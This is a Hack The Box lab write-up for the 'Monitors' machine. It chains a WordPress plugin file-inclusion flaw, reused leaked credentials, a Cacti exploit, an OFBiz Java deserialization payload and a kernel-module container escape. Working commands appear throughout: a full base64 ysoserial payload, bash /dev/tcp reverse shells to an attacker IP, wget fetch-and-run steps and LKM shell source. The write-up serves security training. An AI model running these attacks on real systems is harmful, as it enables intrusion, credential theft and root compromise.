Monitors
Monitors is a hard machine from Hack The Box.
Enumeration
The first step for this spooky box is nmap
:
nmap -sT -sC -sV -vv -min-rate 4000 -max-retries 1 -p- -oA enum/nmap_allports 10.10.10.238
PORT STATE SERVICE REASON VERSION
22/tcp open ssh syn-ack OpenSSH 7.6p1 Ubuntu 4ubuntu0.3 (Ubuntu Linux; protocol 2.0)
| ssh-hostkey:
| 2048 ba:cc:cd:81:fc:91:55:f3:f6:a9:1f:4e:e8:be:e5:2e (RSA)
| ssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQC5AeQDHYQGVg8GiNvPYiXYPseampZJusZb2Dbd2d1QIi7a/LGOO9ylbMgjxcve5euzCFBMSX2rVIp8zkUg3CCi7JYLpyQAeP0npjT/fB84dWbzt51Xmfir4qZTpBMf8Lw+ZFxEXv1UkGfejSZ3fjcuZ2hBBeUh63P2qcomVla/eUyR1dOIvJy8K1pl1WSXia6W2fJsBj/uowwe4+aMtWGVlzMNd+Tpp1Z8lg/a2jZTxkdIYvUkx/k0x0xrjsUhGiLgOoAWg4JvKeYoy+v/hhAjh6fB8Kw7jS1t1Si69cPadEQGB8NOMdyDv4EvoG3/8BvLpMgpHKzy1aHsJk9zqyej
| 256 69:43:37:6a:18:09:f5:e7:7a:67:b8:18:11:ea:d7:65 (ECDSA)
| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBKHKAgNKkq5XDcAfsuuxZFMPf+iEHjoq9DUmOmg0cCDgpE90GNOZeoaI24IlwlrSdTWTRA9HNJ7DFyIkcHr37Dk=
| 256 5d:5e:3f:67:ef:7d:76:23:15:11:4b:53:f8:41:3a:94 (ED25519)
|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIBi/L9gWCzbJ6GzFB1PsHZJco24eJW3wmC+a4Ul6fEe6
80/tcp open http syn-ack Apache httpd 2.4.29 ((Ubuntu))
|_http-server-header: Apache/2.4.29 (Ubuntu)
|_http-title: Site doesn't have a title (text/html; charset=iso-8859-1).
Service Info: OS: Linux; CPE: cpe:/o:linux:linux_kernel
The web server doesn’t like when I try to access it via IP address:
So I add monitors.htb
to my /etc/hosts
file to access it that way and I get a home page:
It’s a Wordpress site. Not much to be found clicking around, but I’ll start a wpscan
in the background and see if it will turn up any actionable information.
wpscan --url http://monitors.htb -e -o wpscan.txt
Found an RFI vulnerability in a plugin called Spritz. That’s certainly promising. As a proof of concept, I’ll see if I can get it to show me /etc/passwd
by accessing http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../..//etc/passwd.
Now that I know I can retrieve system files, I need to find files that might have sensitive info. To do that, I can use a fuzzer like wfuzz
to run wordlists of system file paths and find them automatically.
wfuzz -w /usr/share/seclists/Fuzzing/LFI/LFI-gracefulsecurity-linux.txt http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../..FUZZ
After running a few different lists through wfuzz
, eventually I discover /etc/apache2/sites-enabled/000-default.conf
.
This file contains a reference to a virtual host at cacti-admin.monitors.htb
, which I will add to my /etc/hosts/file
. I’ll get back to that in a minute. I’m gonna keep going through the files wfuzz
found.
Looking into /etc/apache2/sites-enabled/monitors.htb.conf
lets me know that the webroot of monitors.htb
is at /var/www/wordpress
. With that in mind, I should be able to locate wp-config
.
curl http://monitors.htb/wp-content/plugins/wp-with-spritz/wp.spritz.content.filter.php?url=/../../../../../var/www/wordpress/wp-config.php
// ** MySQL settings - You can get this info from your web host ** //
/** The name of the database for WordPress */
define( 'DB_NAME', 'wordpress' );
/** MySQL database username */
define( 'DB_USER', 'wpadmin' );
/** MySQL database password */
define( 'DB_PASSWORD', 'BestAdministrator@2020!' );
As expected, wp-config
yields some SQL credentials. Those may be useful eventually. Back to Cacti.
A login page. How about I try those credentials I just found? admin:BestAdministrator@2020!
gets me in.
I’ve never heard of Cacti before. Some quick research tells me a bit about it. A “monitoring and fault management framework”.
Exploitation
Looking around, there’s not much data being hosted or monitored by the app and I’m not finding anything too interesting. Maybe searchsploit
has something for me.
searchsploit cacti
This exploit matches the version number of 1.2.12(according to the homepage), so I’ll try this one first. With a valid password, I can gain remote command execution on the server. This exploit will send a reverse shell back my way.
python3 49810.py -t http://cacti-admin.monitors.htb -u admin -p BestAdministrator@2020! --lhost 10.10.14.22 --lport 443
Run the command, and I’m on as www-data
.
Privilege Escalation
First thing I check on the box is the SQL database I learned about earlier, but there doesn’t seem to be anything all that promising. I did some more enumeration around the filesystem but checking sockets is what brings me to the next step.
ss -antp
to check open TCP ports.
Ahh it seems that localhost:8443
is listening. I couldn’t see it from the outside, but I wonder what exactly “it” is. I’ll have to do some port forwarding to do some enumeration. I’ll use chisel
to do that, but the only method of file transfer I could get to work was FTP.
On Kali : sudo systemctl start pure-ftpd
to start the FTP service and cp /usr/bin/chisel /ftphome
to put the chisel
binary in my FTP directory.
On Monitors : ftp 10.10.14.22 kali:kali
to connect to my FTP server and get chisel
to pull the binary down. chmod +x chisel
to make it executable.
Then, to start the port forward:
Kali : chisel server -p 8443 --reverse
to start the server.
Monitors : ./chisel client 10.10.14.22:8443 R:9001:127.0.0.1:8443
With this setup I will be able to access Monitors port 8443 from port 9001 on my Kali machine. I have no idea what the service is but nmap
may be able to tell me:
nmap -p8443 127.0.0.1
It’s HTTPS but navigating to it just brings up a 404 error. I may need to be more specific.
I can fuzz directories and try to find valid pages:
gobuster dir -u https://127.0.0.1:9001 -w /usr/share/seclists/Discovery/Web-Content/raft-small-words.txt -k
Everything seems to be redirecting, but trying to navigate to /content
, and a couple others, brings me to https://127.0.0.1:9001/bi/control/main.
It’s an Apache OFBiz login, and OFBiz is “an open source enterprise resource planning system.” Credentials don’t seem to work. One relevant piece of info on this page is the version number, 17.12.01:
I kept doing some research into OFBiz and found an exploit for an unsafe Java deserialization vulnerability.
First things first, I’ll need ysoserial
to generate the payloads:
wget https://jitpack.io/com/github/frohoff/ysoserial/master-d367e379d9-1/ysoserial-master-d367e379d9-1.jar
Then, I can use that JAR file to create a payload. The first payload I’ll use to pull down a simple reverse shell, written in a bash script.
shell.sh
#!/bin/bash
/bin/bash -i >& /dev/tcp/10.10.14.22/4444 0>&1
Creating the payload:
java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "wget 10.10.14.22/shell.sh -O /tmp/shell.sh" | base64 | tr -d "\n"
That command generates a huge string that, when included in a curl
command to the vulnerable xmlrpc
, will execute my command.
curl https://127.0.0.1:9001/webtools/control/xmlrpc -X POST -v -d '<?xml version="1.0"?><methodCall><methodName>ProjectDiscovery</methodName><params><param><value><struct><member><name>test</name><value><serializable xmlns="http://ws.apache.org/xmlrpc/namespaces/extensions">rO0ABXNyABdqYXZhLnV0aWwuUHJpb3JpdHlRdWV1ZZTaMLT7P4KxAwACSQAEc2l6ZUwACmNvbXBhcmF0b3J0ABZMamF2YS91dGlsL0NvbXBhcmF0b3I7eHAAAAACc3IAK29yZy5hcGFjaGUuY29tbW9ucy5iZWFudXRpbHMuQmVhbkNvbXBhcmF0b3LjoYjqcyKkSAIAAkwACmNvbXBhcmF0b3JxAH4AAUwACHByb3BlcnR5dAASTGphdmEvbGFuZy9TdHJpbmc7eHBzcgA/b3JnLmFwYWNoZS5jb21tb25zLmNvbGxlY3Rpb25zLmNvbXBhcmF0b3JzLkNvbXBhcmFibGVDb21wYXJhdG9y+/SZJbhusTcCAAB4cHQAEG91dHB1dFByb3BlcnRpZXN3BAAAAANzcgA6Y29tLnN1bi5vcmcuYXBhY2hlLnhhbGFuLmludGVybmFsLnhzbHRjLnRyYXguVGVtcGxhdGVzSW1wbAlXT8FurKszAwAGSQANX2luZGVudE51bWJlckkADl90cmFuc2xldEluZGV4WwAKX2J5dGVjb2Rlc3QAA1tbQlsABl9jbGFzc3QAEltMamF2YS9sYW5nL0NsYXNzO0wABV9uYW1lcQB+AARMABFfb3V0cHV0UHJvcGVydGllc3QAFkxqYXZhL3V0aWwvUHJvcGVydGllczt4cAAAAAD/////dXIAA1tbQkv9GRVnZ9s3AgAAeHAAAAACdXIAAltCrPMX+AYIVOACAAB4cAAABr7K/rq+AAAAMgA5CgADACIHADcHACUHACYBABBzZXJpYWxWZXJzaW9uVUlEAQABSgEADUNvbnN0YW50VmFsdWUFrSCT85Hd7z4BAAY8aW5pdD4BAAMoKVYBAARDb2RlAQAPTGluZU51bWJlclRhYmxlAQASTG9jYWxWYXJpYWJsZVRhYmxlAQAEdGhpcwEAE1N0dWJUcmFuc2xldFBheWxvYWQBAAxJbm5lckNsYXNzZXMBADVMeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cyRTdHViVHJhbnNsZXRQYXlsb2FkOwEACXRyYW5zZm9ybQEAcihMY29tL3N1bi9vcmcvYXBhY2hlL3hhbGFuL2ludGVybmFsL3hzbHRjL0RPTTtbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGRvY3VtZW50AQAtTGNvbS9zdW4vb3JnL2FwYWNoZS94YWxhbi9pbnRlcm5hbC94c2x0Yy9ET007AQAIaGFuZGxlcnMBAEJbTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApFeGNlcHRpb25zBwAnAQCmKExjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvRE9NO0xjb20vc3VuL29yZy9hcGFjaGUveG1sL2ludGVybmFsL2R0bS9EVE1BeGlzSXRlcmF0b3I7TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjspVgEACGl0ZXJhdG9yAQA1TGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvZHRtL0RUTUF4aXNJdGVyYXRvcjsBAAdoYW5kbGVyAQBBTGNvbS9zdW4vb3JnL2FwYWNoZS94bWwvaW50ZXJuYWwvc2VyaWFsaXplci9TZXJpYWxpemF0aW9uSGFuZGxlcjsBAApTb3VyY2VGaWxlAQAMR2FkZ2V0cy5qYXZhDAAKAAsHACgBADN5c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzJFN0dWJUcmFuc2xldFBheWxvYWQBAEBjb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvcnVudGltZS9BYnN0cmFjdFRyYW5zbGV0AQAUamF2YS9pby9TZXJpYWxpemFibGUBADljb20vc3VuL29yZy9hcGFjaGUveGFsYW4vaW50ZXJuYWwveHNsdGMvVHJhbnNsZXRFeGNlcHRpb24BAB95c29zZXJpYWwvcGF5bG9hZHMvdXRpbC9HYWRnZXRzAQAIPGNsaW5pdD4BABFqYXZhL2xhbmcvUnVudGltZQcAKgEACmdldFJ1bnRpbWUBABUoKUxqYXZhL2xhbmcvUnVudGltZTsMACwALQoAKwAuAQAqd2dldCAxMC4xMC4xNC4yMi9zaGVsbC5zaCAtTyAvdG1wL3NoZWxsLnNoCAAwAQAEZXhlYwEAJyhMamF2YS9sYW5nL1N0cmluZzspTGphdmEvbGFuZy9Qcm9jZXNzOwwAMgAzCgArADQBAA1TdGFja01hcFRhYmxlAQAdeXNvc2VyaWFsL1B3bmVyNjExNzM3MDQ3NDc5ODYBAB9MeXNvc2VyaWFsL1B3bmVyNjExNzM3MDQ3NDc5ODY7ACEAAgADAAEABAABABoABQAGAAEABwAAAAIACAAEAAEACgALAAEADAAAAC8AAQABAAAABSq3AAGxAAAAAgANAAAABgABAAAALwAOAAAADAABAAAABQAPADgAAAABABMAFAACAAwAAAA/AAAAAwAAAAGxAAAAAgANAAAABgABAAAANAAOAAAAIAADAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABcAGAACABkAAAAEAAEAGgABABMAGwACAAwAAABJAAAABAAAAAGxAAAAAgANAAAABgABAAAAOAAOAAAAKgAEAAAAAQAPADgAAAAAAAEAFQAWAAEAAAABABwAHQACAAAAAQAeAB8AAwAZAAAABAABABoACAApAAsAAQAMAAAAJAADAAIAAAAPpwADAUy4AC8SMbYANVexAAAAAQA2AAAAAwABAwACACAAAAACACEAEQAAAAoAAQACACMAEAAJdXEAfgAQAAAB1Mr+ur4AAAAyABsKAAMAFQcAFwcAGAcAGQEAEHNlcmlhbFZlcnNpb25VSUQBAAFKAQANQ29uc3RhbnRWYWx1ZQVx5mnuPG1HGAEABjxpbml0PgEAAygpVgEABENvZGUBAA9MaW5lTnVtYmVyVGFibGUBABJMb2NhbFZhcmlhYmxlVGFibGUBAAR0aGlzAQADRm9vAQAMSW5uZXJDbGFzc2VzAQAlTHlzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vOwEAClNvdXJjZUZpbGUBAAxHYWRnZXRzLmphdmEMAAoACwcAGgEAI3lzb3NlcmlhbC9wYXlsb2Fkcy91dGlsL0dhZGdldHMkRm9vAQAQamF2YS9sYW5nL09iamVjdAEAFGphdmEvaW8vU2VyaWFsaXphYmxlAQAfeXNvc2VyaWFsL3BheWxvYWRzL3V0aWwvR2FkZ2V0cwAhAAIAAwABAAQAAQAaAAUABgABAAcAAAACAAgAAQABAAoACwABAAwAAAAvAAEAAQAAAAUqtwABsQAAAAIADQAAAAYAAQAAADwADgAAAAwAAQAAAAUADwASAAAAAgATAAAAAgAUABEAAAAKAAEAAgAWABAACXB0AARQd25ycHcBAHhxAH4ADXg=</serializable></value></member></struct></value></param></params></methodCall>' -k -H 'Content-Type:application/xml''
After starting a webserver via sudo python -m SimpleHTTPServer 80
, I get a hit, and my reverse shell script has been downloaded to the target:
With my malicious bash script in place, I can create another payload to execute it:
java -jar ysoserial-master-d367e379d9-1.jar CommonsBeanutils1 "bash /tmp/shell.sh" | base64 | tr -d "\n"
I start a netcat listener in another terminal, and I’ve gotten another shell, but, curiously, not on Monitors.
It seems I’ve become root
, but not the root
I was looking for. I’ve gone from being www-data
on Monitors to root
inside of a container. Looks like I’ve still got a ways to go before I root this box. That, unfortunately, means more enumerating. Woo.
Privilege Escalation (for real this time)
The first thing I notice is that this container is on a different network interface. The IP is 172.17.0.2
, as seen from the output of ip address
:
Looking back at Monitors I see that the interface is called docker0
and it also has an assigned IP address in that range.
The Docker host, Monitors, is acting as the gateway for the 172.17.0.0/16 network. That’s good to know, but not exploitable, so I’ll keep looking. Eventually, I come across an interesting capability, using capsh --print
to view the possibilities.
cap_sys_module
is a capability that allows the container to load modules into the host’s kernel. This blogpost has a walkthrough. I’ll have to write a reverse shell that I can then compile on the container and exploit the host. That file is called reverse-shell.c
:
#include <linux/kmod.h>
#include <linux/module.h>
MODULE_LICENSE("GPL");
MODULE_AUTHOR("AttackDefense");
MODULE_DESCRIPTION("LKM reverse shell module");
MODULE_VERSION("1.0");
char* argv[] = {"/bin/bash","-c","bash -i >& /dev/tcp/172.17.0.2/4444 0>&1", NULL};
static char* envp[] = {"PATH=/usr/local/sbin:/usr/local/bin:/usr/sbin:/usr/bin:/sbin:/bin", NULL };
static int __init reverse_shell_init(void) {
return call_usermodehelper(argv[0], argv, envp, UMH_WAIT_EXEC);
}
static void __exit reverse_shell_exit(void) {
printk(KERN_INFO "Exiting\n");
}
module_init(reverse_shell_init);
module_exit(reverse_shell_exit);
I also need a MakeFile
to build the module:
obj-m +=reverse-shell.o
all:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) modules
clean:
make -C /lib/modules/$(shell uname -r)/build M=$(PWD) clean
This reverse shell will call back to a listener, crucially, on the container, not my own host. I’ll need to move a copy of nc
over to the container with the exploit files, as nc
is not present. I’ll do that now by pulling all 3 files from my webserver with wget
:
wget http://10.10.14.22/reverse-shell.c
wget http://10.10.14.22/Makefile
wget http://10.10.14.22/nc
Now that the files are in place, I can run make
to build the module. I do, but I get an error.
If I look back at the MakeFile
I got from the blog post, it’s using uname -r
to determine the kernel version. If I check it manually, I see that it returns 4.15.0-151-generic
.
That’s all well and good, but why won’t it build the module? Looking into /lib/modules
reveals the answer:
The 4.15.0-151-generic
module is not actually present, despite what uname
says. No problem. I’ll edit MakeFile
to use one of those 2 module options and go from there.
obj-m +=reverse-shell.o
all:
make -C /lib/modules/4.15.0-142-generic/build M=$(PWD) modules
clean:
make -C /lib/modules/4.15.0-142-generic/build M=$(PWD) clean
Re-transfer the necessary files, and run make
again:
Fingers crossed, but it looks like it worked.
Finally, I run insmod reverse-shell.ko
to load the module. I have my nc
listener running on the container and I get a shell!
As a final note, this reverse shell to the container is enough for my purposes, but an easier, more persistent solution would be to use the kernel module exploit to write a public SSH key to /root/.ssh/authorized_keys
, so as to avoid dealing with the port forward and Java exploit if I wanted to get back on as root
.